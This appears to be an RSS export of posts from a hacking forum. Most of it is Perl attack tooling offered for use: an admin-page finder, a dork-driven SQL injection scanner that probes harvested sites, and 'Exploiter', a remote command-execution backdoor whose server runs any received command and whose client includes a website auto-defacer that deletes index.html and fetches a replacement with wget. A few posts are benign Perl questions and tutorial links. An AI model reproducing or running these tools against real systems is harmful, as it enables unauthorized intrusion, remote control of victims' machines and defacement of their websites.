      <description><![CDATA[So i got borded of not finding admin pages when i do a hack, so i coded myself a perl admin finder. The difference with this compared to every other on the web is that this scans around 1400 possible pages. Results will show 1803 scanned but some are the same just slightly different.<br><br>Please note i did not make the list, i stumbled across it and though i could make it more useful.<br><br><div class="PreContainer"><pre><br>use HTTP&amp;#58;&amp;#58;Request;<br>use LWP&amp;#58;&amp;#58;UserAgent;<br><br>system('cls');<br>print \&quot;====================================================================\n\&quot;;<br>print \&quot;&amp;#91;Mr&amp;#46; P-teo&amp;#93; Admin Page Scanner +\n\n\&quot;;<br>print \&quot;URL must contain http&amp;#58;//\n\&quot;;<br>print \&quot;====================================================================\n\n\&quot;;<br><br>print \&quot;Website&amp;#58; \&quot;;<br>chomp ($url = &amp;lt;STDIN&amp;gt;);<br>my $file = \&quot;admins&amp;#46;txt\&quot;;<br>open (FH, \&quot;&amp;lt; $file\&quot;) or die \&quot;Can't open $file for read&amp;#58; $!\&quot;;<br>my <a rel="nofollow" href="/index.php?p=/profile/directorys">@directorys</a>;<br>while (&amp;lt;FH&amp;gt;) {<br>    push (@directorys, $_);<br>}<br>close FH or die \&quot;Cannot close $file&amp;#58; $!\&quot;;<br><br>my $amount = 0;<br>my $success = 0;<br>my $useful = 0;<br><br>foreach $ways(@directorys){<br>$amount++;<br>my $web=$url&amp;#46;\&quot;/\&quot;&amp;#46;$ways;<br><br>my $req=HTTP&amp;#58;&amp;#58;Request-&amp;gt;new(GET=&amp;gt;$web);<br>my $ua=LWP&amp;#58;&amp;#58;UserAgent-&amp;gt;new();<br>$ua-&amp;gt;timeout(30);<br>my $response=$ua-&amp;gt;request($req);<br>if($response-&amp;gt;content =~ /404 Not Found/){<br>	<br>}elsif($response-&amp;gt;content =~ /Page Cannot be displayed/){<br><br>}else{<br>	if($response-&amp;gt;content =~ /username/ || <br>$response-&amp;gt;content =~ /password/ ||<br>$response-&amp;gt;content =~ /admin/ ||<br>$response-&amp;gt;content =~ /login/ ||<br>$response-&amp;gt;content =~ /administration/ ||<br>$response-&amp;gt;content =~ /authorisation/ ||<br>$response-&amp;gt;content =~ /sign in/ ||<br>$response-&amp;gt;content =~ /signin/ ||<br>$response-&amp;gt;content =~ /user/){<br>print \&quot;\n\tPage Found =&amp;gt; $web\&quot;;<br>$success++;<br>}<br>}<br>}<br>print \&quot;\n\n\n------------------------------------------\n&amp;#91;$amount Scanned&amp;#93; + &amp;#91;$success Found&amp;#93;\n-------------------------------------------\n\n\&quot;;<br></pre></div><br><br>And of course you will be needing the admin links.<br><br>Download =&gt; <a class="postlink" rel="nofollow" href="http://pastebin.com/aemUsVXQ">http://pastebin.com/aemUsVXQ</a><br><br><br>Hope you like.]]></description>
   </item>
   <item>
      <title>Fastbot SQLi Autosearch</title>
      <link>http://iexploit.org/index.php?p=/discussion/2833/fastbot-sqli-autosearch</link>
      <pubDate>Fri, 24 Jun 2011 22:44:07 -0400</pubDate>
      <dc:creator>GT3X</dc:creator>
      <guid isPermaLink="false">2833@/index.php?p=/discussions</guid>
      <description><![CDATA[<div class="PreContainer"><pre><br><br>BEGIN { $ENV{ACTIVEPERL_CONFIG_DISABLE} = 1; }<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23perl2exe_exclude&amp;Mode=like">#perl2exe_exclude</a> \&quot;File/BSDGlob&amp;#46;pm\&quot;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23perl2exe_exclude&amp;Mode=like">#perl2exe_exclude</a> \&quot;Compress/Bzip2&amp;#46;pm\&quot;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23perl2exe_exclude&amp;Mode=like">#perl2exe_exclude</a> \&quot;I18N/Langinfo&amp;#46;pm\&quot;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23perl2exe_include&amp;Mode=like">#perl2exe_include</a> \&quot;attributes&amp;#46;pm\&quot;<br><br><br>use strict;<br>no warnings;<br>use threads;<br>use threads&amp;#58;&amp;#58;shared;<br>use LWP&amp;#58;&amp;#58;UserAgent;<br>use HTTP&amp;#58;&amp;#58;Request&amp;#58;&amp;#58;Common qw(POST);<br><br><br>my $threads = 10;<br><br>my $ua = LWP&amp;#58;&amp;#58;UserAgent-&amp;gt;new;<br>$ua-&amp;gt;timeout(15);<br>$ua-&amp;gt;agent('Mozilla/5&amp;#46;0');<br><br>my <a rel="nofollow" href="/index.php?p=/profile/dorkz">@dorkz</a> &amp;#58; shared;<br>my <a rel="nofollow" href="/index.php?p=/profile/linkz">@linkz</a> &amp;#58; shared;<br><br>system(\&quot;cls\&quot;);<br>system(\&quot;color A\&quot;);<br>print \&quot;++++++++++++++++++++++++++++++++++++++++++++++++\n\&quot;;<br>print \&quot;+             SQLi_Scanner_v_0&amp;#46;1               +\n\&quot;;<br>print \&quot;+                                              +\n\&quot;;<br>print \&quot;++++++++++++++++++++++++++++++++++++++++++++++++\n\&quot;;<br>print \&quot;\n&amp;#91;i&amp;#93;Engines loaded&amp;#58; fastbot&amp;#46;de\n\&quot;;<br>print \&quot;\&amp;#91;&amp;#46;&amp;#93;Let's start&amp;#46;&amp;#46;&amp;#46;\n\&quot;;<br>GetDorkz();<br>print \&quot;&amp;#91;i&amp;#93;Got \&quot;&amp;#46;scalar(@dorkz)&amp;#46;\&quot; dorkz\n\&quot;;<br>GetLinks();<br>while (threads-&amp;gt;list) {}<br>print \&quot;&amp;#91;i&amp;#93;Got \&quot;&amp;#46;scalar(@linkz)&amp;#46;\&quot; links\n\&quot;;<br>print \&quot;&amp;#91;&amp;#46;&amp;#93;Let's scan&amp;#46;&amp;#46;&amp;#46;\n\n\&quot;;<br>CheckLinks();<br>while (threads-&amp;gt;list) {}<br>print \&quot;&amp;#91;!&amp;#93;All done, check output_injection&amp;#46;txt\n\n\&quot;;<br><br><br>sub CheckLinks {<br>	foreach my $link( <a rel="nofollow" href="/index.php?p=/profile/linkz">@linkz</a> ) {<br>		my  $ctr = 0;<br>		foreach my $thr ( threads-&amp;gt;list ) { $ctr++; }<br>		if ($ctr &amp;lt; $threads){<br>			threads-&amp;gt;create( \&amp;InjectionCheck, $link );<br>		}<br>		else { redo; }<br>	}<br>}<br><br>sub GetLinks {<br>	foreach my $dork( <a rel="nofollow" href="/index.php?p=/profile/dorkz">@dorkz</a> ) {<br>		my  $ctr = 0;<br>		foreach my $thr ( threads-&amp;gt;list ) { $ctr++; }<br>		if ($ctr &amp;lt; $threads){<br>			threads-&amp;gt;create( \&amp;GetLinks_fastbot,$dork );<br>		}<br>		else { redo; }<br>	}<br>}<br><br>sub GetDorkz {<br>	open( DORKZ, \&quot;input&amp;#46;txt\&quot; ) or die \&quot;$!\n\&quot;;<br>	while( defined( my $line_ = &amp;lt;DORKZ&amp;gt; ) ) {<br>		chomp( $line_ );<br>		push( <a rel="nofollow" href="/index.php?p=/profile/dorkz">@dorkz</a>, $line_ );<br>	}<br>	close( DORKZ );<br>}<br><br>## FASTBOT-SEARCH<br>## http&amp;#58;//www&amp;#46;fastbot&amp;#46;de/index&amp;#46;php?page=1&amp;query=index&amp;#46;php?id=<br>sub GetLinks_fastbot {<br>	my $dork = shift;<br>	chomp( $dork );<br>	for( my $i = 1; $i &amp;lt; 11; $i++ ) {<br>		my $url = \&quot;http&amp;#58;//www&amp;#46;fastbot&amp;#46;de/index&amp;#46;php?page=\&quot;&amp;#46;$i&amp;#46;\&quot;&amp;query=\&quot;&amp;#46;$dork;<br>		my $content = $ua-&amp;gt;get($url)-&amp;gt;content;<br>		while( $content =~ m/melden\&amp;#46;php\?url=(&amp;#46;+?)&amp;query=/gi ) {<br>			my $link = $1;<br>			$link =~ s/&amp;amp;/&amp;/g;<br>			<a rel="nofollow" href="/index.php?p=/search&amp;Search=%23print&amp;Mode=like">#print</a> $link&amp;#46;\&quot;\n\&quot;;<br>			push( <a rel="nofollow" href="/index.php?p=/profile/linkz">@linkz</a>, $link );<br>		}<br>	}<br>	threads-&amp;gt;detach();<br>}<br><br>sub InjectionCheck {<br>	my $link = shift;<br>	chomp( $link );<br>	print \&quot;&amp;#91;&amp;#58;&amp;#93;Checking&amp;#58; $link\n\&quot;;<br>	my $content = $ua-&amp;gt;get($link)-&amp;gt;content;<br>	for(my $position = 0; ($position = index($link, \&quot;=\&quot;, $position)) &amp;gt;= 0; $position++) {<br>		my $linkcpy = $link;<br>		substr($linkcpy, $position, 1) = \&quot;='\&quot;;   <br>		my $content2 = $ua-&amp;gt;get($linkcpy)-&amp;gt;content;<br>		unless( $content eq $content2 ) {<br>			if( $content2 =~ m/mysql_fetch_/i || $content2=~ m/You have an error in your SQL syntax/i || $content2 =~ m/tem um erro de sintaxe no seu SQL/i || $content2 =~ m/mysql_num_rows/i || $content2 =~ m/Division by zero in/i ) { <br>				print \&quot;&amp;#91;+&amp;#93;Vulnerable&amp;#58; \&quot;&amp;#46;$linkcpy&amp;#46;\&quot;\n\&quot;;<br>				Output( $linkcpy );<br>				threads-&amp;gt;detach();<br>			}<br>		}<br>	}<br>	threads-&amp;gt;detach();<br>}<br><br>sub Output {<br>	my $para = shift;<br>	open (OUT, '&amp;gt;&amp;gt;output_injection&amp;#46;txt') or die(\&quot;Cannot write to output_injection\n\&quot;);<br>	print OUT $para&amp;#46;\&quot;\n\&quot;;<br>	close (OUT);<br>}<br><br></pre></div>]]></description>
   </item>
   <item>
      <title>Probs simple but need help</title>
      <link>http://iexploit.org/index.php?p=/discussion/5713/probs-simple-but-need-help</link>
      <pubDate>Wed, 17 Aug 2011 23:51:11 -0400</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">5713@/index.php?p=/discussions</guid>
      <description><![CDATA[hy everyone, i need some help with something i belive would be very simple. I need to make an if statement that basically says,<br>if $input = nothing then print enter text else print $input.<br><br><br>I tried the following but doesn't work. Can anyone help?<br><br><div class="PreContainer"><pre><br>if ($input eq NULL){<br>    print \&quot;\nPlease enter text&amp;#46;&amp;#46;&amp;#46;\&quot;;<br>} else {<br>     print \&quot;$input&amp;#46;&amp;#46;&amp;#46;\n\n\n\&quot;;<br>}<br></pre></div>]]></description>
   </item>
   <item>
      <title>Perl or Ruby</title>
      <link>http://iexploit.org/index.php?p=/discussion/1487/perl-or-ruby</link>
      <pubDate>Sun, 24 Oct 2010 16:00:10 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">1487@/index.php?p=/discussions</guid>
      <description><![CDATA[Just out of curiosity I'm looking at learning a bit of Perl or Ruby, which would anyone suggest? I know both are used for writing exploits but does anyone have any experience of either and want to share their opinion and help me decide?<br />S-P]]></description>
   </item>
   <item>
      <title>Perl Tutorials</title>
      <link>http://iexploit.org/index.php?p=/discussion/102/perl-tutorials</link>
      <pubDate>Sun, 14 Mar 2010 00:17:11 -0500</pubDate>
      <dc:creator>undead</dc:creator>
      <guid isPermaLink="false">102@/index.php?p=/discussions</guid>
      <description><![CDATA[<span style="color: orange;"><span><b>Perl Tutorials</b></span></span><br><br><a class="postlink" rel="nofollow" href="http://www.perlmonks.org/index.pl?node=Tutorials">http://www.perlmonks.org/index.pl?node=Tutorials</a><br><a class="postlink" rel="nofollow" href="http://www.comp.leeds.ac.uk/Perl/start.html">http://www.comp.leeds.ac.uk/Perl/start.html</a><br><a class="postlink" rel="nofollow" href="http://perldoc.perl.org/index-tutorials.html">http://perldoc.perl.org/index-tutorials.html</a><br><a class="postlink" rel="nofollow" href="http://savage.net.au/Perl-tutorials.html">http://savage.net.au/Perl-tutorials.html</a><br><a class="postlink" rel="nofollow" href="http://vsbabu.org/tutorials/perl/">http://vsbabu.org/tutorials/perl/</a><br><a class="postlink" rel="nofollow" href="http://www.programmingtutorials.com/perl.aspx">http://www.programmingtutorials.com/perl.aspx</a><br><a class="postlink" rel="nofollow" href="http://www.perl.com/cs/user/query/q/6?id_topic=74">http://www.perl.com/cs/user/query/q/6?id_topic=74</a><br><a class="postlink" rel="nofollow" href="http://www.sthomas.net/roberts-perl-tutorial.htm">http://www.sthomas.net/roberts-perl-tutorial.htm</a><br><a class="postlink" rel="nofollow" href="http://www.brainbell.com/tutors/Perl/">http://www.brainbell.com/tutors/Perl/</a><br><a class="postlink" rel="nofollow" href="http://www.perlaccess.com/">http://www.perlaccess.com/</a>]]></description>
   </item>
   <item>
      <title>Exploiter Project</title>
      <link>http://iexploit.org/index.php?p=/discussion/1981/exploiter-project</link>
      <pubDate>Sun, 02 Jan 2011 03:30:13 -0500</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">1981@/index.php?p=/discussions</guid>
      <description><![CDATA[I'm sick and tired of seeing the same old shite in Perl forums elsewhere, no malware at all. Ive seen SO many version of the back-connect made by IHS for rooting a server... so I thought, why only a back-connect... why not make something capable of running programs, installing, etc. For this I started with a VERY simple Client/Server using perl socket programming and then built on the use of system() command to execute bash commands on linux machines such as wget. I'll say this it is at the moment still very simple. But then again i've only been learning perl for a very short amount of time. Picking up something and then expanding it and applying theories to other areas is what hacking is about... use your imagination :) I've tried this out on my own machine locally downloading files from my vps setup online. It downloads the files perfectly.<br><br>Update: 13/1/2011<br>- Basic defacer<br>- Command entry/sends to server<br>Needs fixing:<br>- chdir seems not to work, i'll see what I can do and get back to you.<br>- Defacer will check what index extension is in use instead of assuming .html at the moment.<br><br><span style="color: #FF0000;"><b><span>Exploiter 0.2</span></b></span> - Untested<br>[align=center]http&#58;//i51&#46;tinypic&#46;com/2psqgt3&#46;png<br>[video=youtube]<div class="Video"><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/55GsVu7kV3k[/video][/align]&amp;hl=en_US&amp;fs=1&amp;"><param name="allowFullScreen" value="true"><param name="allowscriptaccess" value="always"><embed src="http://www.youtube.com/v/55GsVu7kV3k[/video][/align]&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" width="640" height="385"></object></div><br><br>Instructions:<br>chmod +x file.pl<br>./file.pl -n [NAME]<br><br>Client:<br><div class="PreContainer"><pre>#!/usr/bin/perl<br># Exploiter 0&amp;#46;2<br># Coded by Semtex-Primed<br># www&amp;#46;iExploit&amp;#46;org<br>use IO&amp;#58;&amp;#58;Socket;<br>use Getopt&amp;#58;&amp;#58;Std;<br><br>getopts(\&quot;&amp;#58;n&amp;#58;\&quot;, \%args);<br>if (defined $args{n}) {<br>	$n1 = $args{n};<br>}<br>if (!defined $args{n}) {<br>	print \&quot;Usage&amp;#58; $0 -n &amp;#91;NAME&amp;#93;\n\&quot;;<br>	exit;<br>}<br><br><a rel="nofollow" href="/index.php?p=/profile/exploiter">@exploiter</a> = (<br>	\&quot;\n\t8888888888                   888          d8b 888                    \n\&quot;,<br>	\&quot;\t888                          888          Y8P 888                    \n\&quot;,<br>	\&quot;\t888                          888              888                    \n\&quot;,<br>	\&quot;\t8888888    888  888 88888b&amp;#46;  888  &amp;#46;d88b&amp;#46;  888 888888 &amp;#46;d88b&amp;#46;  888d888 \n\&quot;,<br>	\&quot;\t888         Y8bd8P  888  88b 888 d88  88b 888 888   d8P  Y8b 888P    \n\&quot;,<br>	\&quot;\t888          X88K   888  888 888 888  888 888 888   88888888 888     \n\&quot;,<br>	\&quot;\t888        &amp;#46;d8pq8b&amp;#46; 888 d88P 888 Y88&amp;#46;&amp;#46;88P 888 Y88b&amp;#46;  Y8b&amp;#46;    888     \n\&quot;,<br>	\&quot;\t8888888888 888  888 88888P   888   Y88P   888   Y888  Y8888  888     \n\&quot;,<br>	\&quot;\t                    888                                              \n\&quot;,<br>	\&quot;\t                    888             &amp;#46;&amp;#58;&amp;#58;Semtex-Primed&amp;#58;&amp;#58;&amp;#46;              \n\&quot;,<br>	\&quot;\t                    888              www&amp;#46;iExploit&amp;#46;org                \n\&quot;<br>);<br><a rel="nofollow" href="/index.php?p=/profile/options">@options</a> = (<br>	\&quot;\n\t\t\t  Welcome to Exploiter $n1!\n\&quot;,<br>	\&quot;\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\&quot;,<br>	\&quot;\t\t\t|+| 1&amp;#46; Connect to server    |+|\n\&quot;,<br>	\&quot;\t\t\t|+| 2&amp;#46; Close                |+|\n\&quot;,<br>	\&quot;\t\t\t|+| 3&amp;#46; Features             |+|\n\&quot;,<br>	\&quot;\t\t\t|+| 4&amp;#46; Credits/Shouts       |+|\n\&quot;,<br>	\&quot;\t\t\t|+|                         |+|\n\&quot;,<br>	\&quot;\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\&quot;<br>);<br>while(1) {<br>	system(\&quot;clear\&quot;);<br>	print <a rel="nofollow" href="/index.php?p=/profile/exploiter">@exploiter</a>;<br>	print <a rel="nofollow" href="/index.php?p=/profile/options">@options</a>;<br>	print \&quot;\t\t\tWhat is your option? \n\&quot;;<br>	print \&quot;\t\t\t&amp;gt;&amp;gt; \&quot;;<br>	$choice = &amp;lt;STDIN&amp;gt;;<br>	chomp ($choice);<br>	if($choice eq \&quot;1\&quot;) {<br>		my $sock = new IO&amp;#58;&amp;#58;Socket&amp;#58;&amp;#58;INET (<br>			PeerAddr =&amp;gt; 'HackStation',<br>			PeerPort =&amp;gt; '8880',<br>			Proto =&amp;gt; 'tcp',<br>            	);<br>		die \&quot;\t\t\tCould not create socket&amp;#58; $!\n\&quot; unless $sock;<br>		print $sock \&quot;\t\t\tConnected!!\n\&quot;; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Used&amp;Mode=like">#Used</a> to confirm connection in testing<br>		while ($sock) {<br>			print \&quot;\t\t\tConnected, here's your choices\n\&quot;;<br>			print \&quot;\t\t\t1&amp;#46; Enter command\n\&quot;;<br>			print \&quot;\t\t\t2&amp;#46; Auto-Defacer (webserver's only!)\n\&quot;;<br>			print \&quot;\t\t\t3&amp;#46; quit\n\&quot;;<br>			print \&quot;\t\t\t&amp;gt;&amp;gt; \&quot;;<br>			$choice = &amp;lt;STDIN&amp;gt;;<br>			chomp ($choice);<br>			if ($choice eq \&quot;3\&quot;) {<br>				close($sock);<br>				exit($sock);<br>				last;<br>			} elsif ($choice eq \&quot;1\&quot;) {<br>				print \&quot;\t\t\tEnter Command&amp;#58; \n\&quot;;<br>				print \&quot;\t\t\t&amp;gt;&amp;gt; \&quot;;<br>				$data2send = &amp;lt;STDIN&amp;gt;;<br>				chomp ($data2send);<br>				$sock-&amp;gt;send(\&quot;$data2send\&quot;);<br>				print &amp;lt;$sock&amp;gt;;<br>				<a rel="nofollow" href="/index.php?p=/search&amp;Search=%23close&amp;Mode=like">#close</a> $sock;<br>				last;<br>			} elsif ($choice eq \&quot;2\&quot;) {<br>				$chdir = 'chdir /var/www/';<br>				chomp ($chdir);<br>				$sock-&amp;gt;send(\&quot;$chdir\&quot;);<br>				print \&quot;\t\t\t&amp;#91;-&amp;#93; You are now working in&amp;#46;&amp;#46;&amp;#46; \n\&quot;;<br>				print \&quot;\t\t\t&amp;#91;-&amp;#93; /var/www/ default web root!\n\&quot;;<br>				$remove_index = \&quot;rm index&amp;#46;html\&quot;;<br>				chomp ($remove_index);<br>				$sock-&amp;gt;send(\&quot;$remove_url\&quot;);<br>				print \&quot;\t\t\t&amp;#91;-&amp;#93; index&amp;#46;html has been removed\n\&quot;;<br>				print \&quot;\t\t\t&amp;#91;-&amp;#93; now upload your own!\n\&quot;;<br>				print \&quot;\t\t\tWget deface from URL&amp;#58; \n\&quot;;<br>				print \&quot;\t\t\t&amp;gt;&amp;gt; \&quot;;<br>				$deface_url = &amp;lt;STDIN&amp;gt;;<br>				chomp ($deface_url);<br>				$sock-&amp;gt;send(\&quot;$deface_url\&quot;);<br>			}<br>		}<br>	} elsif($choice eq \&quot;2\&quot;) {<br>		exit<br>	} elsif($choice eq \&quot;3\&quot;) {<br>		<a rel="nofollow" href="/index.php?p=/search&amp;Search=%23features&amp;Mode=like">#features</a><br>		<a rel="nofollow" href="/index.php?p=/profile/features">@features</a> = (<br>	        \&quot;\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\&quot;,<br>	        \&quot;\t\t\t|+|                         |+|\n\&quot;,<br>	        \&quot;\t\t\t|+|                         |+|\n\&quot;,<br>	        \&quot;\t\t\t|+|                         |+|\n\&quot;<br>		);<br>		print <a rel="nofollow" href="/index.php?p=/profile/features">@features</a>;<br>		sleep(5);<br>	} elsif($choice eq \&quot;4\&quot;) {<br>		<a rel="nofollow" href="/index.php?p=/search&amp;Search=%23credz&amp;Mode=like">#credz</a><br>		<a rel="nofollow" href="/index.php?p=/profile/credits">@credits</a> = (<br>			\&quot;\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\&quot;,<br>			\&quot;\t\t\t|+| Big shout out to&amp;#58;       |+|\n\&quot;,<br>        		\&quot;\t\t\t|+|     ~ iExploit&amp;#46;org ~    |+|\n\&quot;,<br>        		\&quot;\t\t\t|+|   and all of it members |+|\n\&quot;,<br>        		\&quot;\t\t\t|+|                         |+|\n\&quot;,<br>        		\&quot;\t\t\t|+|-------------------------|+|\n\&quot;<br>		);<br>		print <a rel="nofollow" href="/index.php?p=/profile/credits">@credits</a>;<br>		sleep(5);<br>	}<br>}</pre></div><br><br>Server:<br><div class="PreContainer"><pre>#!/usr/bin/perl<br>use IO&amp;#58;&amp;#58;Socket;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23use&amp;Mode=like">#use</a> IO&amp;#58;&amp;#58;CaptureOutput qw/capture/;<br>use Capture&amp;#58;&amp;#58;Tiny qw/capture/;<br><br><br>while(1) {<br>my $sock = new IO&amp;#58;&amp;#58;Socket&amp;#58;&amp;#58;INET (<br>    LocalHost =&amp;gt; 'HackStation',<br>    LocalPort =&amp;gt; '8880',<br>    Proto =&amp;gt; 'tcp',<br>    Listen =&amp;gt; 1,<br>    Reuse =&amp;gt; 1,<br>    );<br>    die \&quot;\t\tCould not create socket&amp;#58; $!\n\&quot; unless $sock;<br>    <br>    my $new_sock = $sock-&amp;gt;accept();<br>    while (&amp;lt;$new_sock&amp;gt;) {<br>        print $_;<br>        $new_sock-&amp;gt;recv($recv_data,1024);<br>        if($recv_data eq 'q' or $recv_data eq 'Q') {<br>            close $new_sock;<br>        } else {<br>	    ($stdout, $stderr) = capture {<br>		system(\&quot;$recv_data\&quot;);<br>	    };<br>	    print $new_sock ($stdout, $stderr);<br>	    last;<br>        }<br>    }<br>#    close($sock);<br>}</pre></div><br><br><span style="color: #FF0000;"><span><b>Exploiter 0.1</b></span></span><br>Server:<br><div class="PreContainer"><pre>#!/usr/bin/perl<br>use IO&amp;#58;&amp;#58;Socket;<br><br>while(1) {<br>my $sock = new IO&amp;#58;&amp;#58;Socket&amp;#58;&amp;#58;INET (<br>	LocalHost =&amp;gt; 'netbook1-linux',<br>	LocalPort =&amp;gt; '8880',<br>	Proto =&amp;gt; 'tcp',<br>	Listen =&amp;gt; 1,<br>	Reuse =&amp;gt; 1,<br>	);<br>	die \&quot;\t\tCould not create socket&amp;#58; $!\n\&quot; unless $sock;<br>	<br>	my $new_sock = $sock-&amp;gt;accept();<br>	while (&amp;lt;$new_sock&amp;gt;) {<br>		print $_;<br>		$new_sock-&amp;gt;recv($recv_data,1024);<br>		if($recv_data eq 'q' or $recv_data eq 'Q') {<br>			close $new_sock;<br>		} else {<br>			system(\&quot;$recv_data\&quot;);<br>			last;<br>		}<br>	}<br>#	close($sock);<br>}</pre></div><br><br>Exploiter:<br><div class="PreContainer"><pre>#!/usr/bin/perl<br>use IO&amp;#58;&amp;#58;Socket;<br><a rel="nofollow" href="/index.php?p=/profile/header">@header</a> = (<br>        \&quot;\n\n\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\&quot;,<br>        \&quot;\t\t|+|     Exploiter 0&amp;#46;1       |+|\n\&quot;,<br>        \&quot;\t\t|+|    ~ Semtex-Primed ~    |+|\n\&quot;<br>);<br><a rel="nofollow" href="/index.php?p=/profile/options">@options</a> = (<br>        \&quot;\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\&quot;,<br>        \&quot;\t\t|+| 1&amp;#46; Connect to server    |+|\n\&quot;,<br>        \&quot;\t\t|+| 2&amp;#46; Close                |+|\n\&quot;,<br>        \&quot;\t\t|+|                         |+|\n\&quot;,<br>        \&quot;\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\&quot;<br>);<br>while(1) {<br>	system(\&quot;clear\&quot;);<br>	print <a rel="nofollow" href="/index.php?p=/profile/header">@header</a>;<br>	print <a rel="nofollow" href="/index.php?p=/profile/options">@options</a>;<br>	print \&quot;\t\tWhat is your option? \n\&quot;;<br>	print \&quot;\t\t&amp;gt;&amp;gt;&amp;gt; \&quot;;<br>	$choice = &amp;lt;STDIN&amp;gt;;<br>	chomp ($choice);<br>	if($choice eq \&quot;1\&quot;) {<br>		my $sock = new IO&amp;#58;&amp;#58;Socket&amp;#58;&amp;#58;INET (<br>			PeerAddr =&amp;gt; 'netbook1-linux',<br>			PeerPort =&amp;gt; '8880',<br>			Proto =&amp;gt; 'tcp',<br>			);<br>			die \&quot;\t\tCould not create socket&amp;#58; $!\n\&quot; unless $sock;<br>			print $sock \&quot;\t\tConnected!!\n\&quot;;<br>			while ($sock) {<br>				print \&quot;\t\tConnected, here's your choices\n\&quot;;<br>				print \&quot;\t\t1&amp;#46; Enter command\n\&quot;;<br>				print \&quot;\t\t2&amp;#46; quit\n\&quot;;<br>				print \&quot;\t\t&amp;gt;&amp;gt; \&quot;;<br>				$choice = &amp;lt;STDIN&amp;gt;;<br>				chomp ($choice);<br>				if ($choice eq \&quot;2\&quot;) {<br>					close($sock);<br>					exit($sock);<br>					last<br>				} elsif ($choice eq \&quot;1\&quot;) {<br>					print \&quot;\t\tEnter Command! \n\&quot;;<br>					print \&quot;\t\t&amp;gt;&amp;gt; \&quot;;<br>					$data2send = &amp;lt;STDIN&amp;gt;;<br>					chomp ($data2send);<br>					$sock-&amp;gt;send($data2send);<br>					close $sock;<br>					last;<br>				}<br>			}<br>	} elsif($choice eq \&quot;2\&quot;) {<br>		exit<br>	}<br>}</pre></div><br><br>This is a LOCAL project. This means that the program will work only within your network. Where I have put "netbook1-linux" change it for the hostname of the victim. I will eventually allow it to accept an IP address you enter.<br><br>USAGE:<br>When the server is running, run the exploiter and then select connect to server, then enter command. For the next bit you need to know some bash. To do a simple test enter the following "wget google.co.uk/index.html". This will download a copy of the google homepage into the folder which you started the server in. To close the exploiter just press the correct number and the server will still be running allowing for you to reconnect.<br><br>Enjoy,<br>S-P]]></description>
   </item>
   <item>
      <title>Perl-CGI Example-02: GET &amp; HTML forms</title>
      <link>http://iexploit.org/index.php?p=/discussion/2527/perl-cgi-example-02-get-html-forms</link>
      <pubDate>Fri, 18 Mar 2011 22:20:28 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">2527@/index.php?p=/discussions</guid>
      <description><![CDATA[So, in this example we have two scripts... a VERY basic HTML page and our perl-cgi script.<br><br>HTML Page - index.html<br><div class="PreContainer"><pre>&amp;lt;html&amp;gt;<br>&amp;lt;head&amp;gt;<br>&amp;lt;title&amp;gt;&amp;#46;&amp;#46;&amp;#58;&amp;#58;iExploit Rules&amp;#58;&amp;#58;&amp;#46;&amp;#46;&amp;lt;/title&amp;gt;<br>&amp;lt;/head&amp;gt;<br><br>&amp;lt;body&amp;gt;<br>&amp;lt;h1&amp;gt;HTML test page for iExploit perl-cgi example&amp;lt;/h1&amp;gt;<br>&amp;lt;hr /&amp;gt;<br>&amp;lt;p&amp;gt;&amp;lt;form method=\&quot;GET\&quot; action=\&quot;cgi-bin/example&amp;#46;cgi\&quot;&amp;gt;<br>Input text to display&amp;#58; &amp;lt;input type=\&quot;text\&quot; size=\&quot;30\&quot; maxlength=\&quot;100\&quot; name=\&quot;input\&quot;&amp;gt; &amp;lt;br /&amp;gt;<br>&amp;lt;input type=\&quot;submit\&quot; name=\&quot;submit\&quot; value=\&quot;Print value!\&quot;&amp;gt;<br>&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;<br>&amp;lt;hr /&amp;gt;<br>&amp;lt;/body&amp;gt;<br>&amp;lt;/html&amp;gt;</pre></div><br><br>CGI script - example.cgi (placed in cgi-bin/ or where-ever you have cgi configured to run)<br><div class="PreContainer"><pre>#!C&amp;#58;/Perl64/bin/Perl&amp;#46;exe -w<br># Semtex-Primed<br># Perl-CGI example2<br># GET method using HTML form<br><br>    local ($buffer, <a rel="nofollow" href="/index.php?p=/profile/pairs">@pairs</a>, $pair, $name, $value, %FORM);<br>    $ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/;<br>    if ($ENV{'REQUEST_METHOD'} eq \&quot;GET\&quot;)<br>    {<br>	$buffer = $ENV{'QUERY_STRING'};<br>    }<br>    <a rel="nofollow" href="/index.php?p=/profile/pairs">@pairs</a> = split(/&amp;/, $buffer);<br>    foreach $pair (@pairs)<br>    {<br>	($name, $value) = split(/=/, $pair);<br>	$value =~ tr/+/ /;<br>	$value =~ s/%(&amp;#46;&amp;#46;)/pack(\&quot;C\&quot;, hex($1))/eg;<br>	$FORM{$name} = $value;<br>    }<br>    $input = $FORM{input};<br><br>print \&quot;Content-type&amp;#58;text/html\r\n\r\n\&quot;;<br>print \&quot;&amp;lt;html&amp;gt;\&quot;;<br>print \&quot;&amp;lt;head&amp;gt;\&quot;;<br>print \&quot;&amp;lt;title&amp;gt;&amp;#46;&amp;#46;&amp;#58;&amp;#58;iExploit Rules&amp;#58;&amp;#58;&amp;#46;&amp;#46;&amp;lt;/title&amp;gt;\&quot;;<br>print \&quot;&amp;lt;/head&amp;gt;\&quot;;<br>print \&quot;&amp;lt;body&amp;gt;\&quot;;<br>print 